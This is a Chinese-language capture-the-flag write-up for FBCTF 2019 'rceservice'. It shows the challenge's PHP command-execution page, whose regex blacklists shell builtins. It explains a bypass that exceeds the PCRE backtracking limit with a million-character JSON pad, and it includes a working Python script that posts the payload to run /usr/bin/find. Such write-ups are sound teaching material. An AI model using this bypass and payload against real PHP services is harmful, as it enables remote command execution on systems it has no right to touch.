Problem: [FBCTF 2019]rceservice
附件
<html>
<body>
<h1>Web Adminstration Interface</h1>
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
<form>
Enter command as JSON:
<input name="cmd" />
</form>
</body>
</html>
分析源码
正则懂的不多,看到了过滤了好多,就想到了PCRE回溯绕过
PCRE回溯机制有一个回溯限制次数——大约100 万次,当回溯超出这个次数,还没吐完的字符串就可以逃逸绕过匹配
通过发送超长字符串的方式,使正则执行失败,让传入的参数逃逸,从而正常执行命令绕过限制
payload
因为$_REQUEST所以可以get也可以post,但是100万次数据太多了,选择post传参,又因为只接收json数据所以构造json包
,还有个问题源码中设置了putenv('PATH=/home/rceservice/jail');这里的代码是设置PATH环境变量为/home/rceservice/jail。目的就是限制程序只能访问这个jail目录下的可执行文件,从而导致无法执行系统命令如ls,cat。但是可以强制从/usr/bin或者/bin中搜索系统命令如/usr/bin/ls,但这里只能不知道为什么ls是从/usr/bin中,而cat是从/bin中
import requests
# payload = '{"cmd":"/bin/ls /home/rceservice/", "a":"'+'b'*1000000+'"}'
payload = '{"cmd":"/usr/bin/find / -name flag", "abc":"'+'a'*1000000+'"}'
res = requests.post("http://node4.anna.nssctf.cn:28499/",data = {"cmd":payload})
print(res.text)
通过find查找,找到了flag所在路径

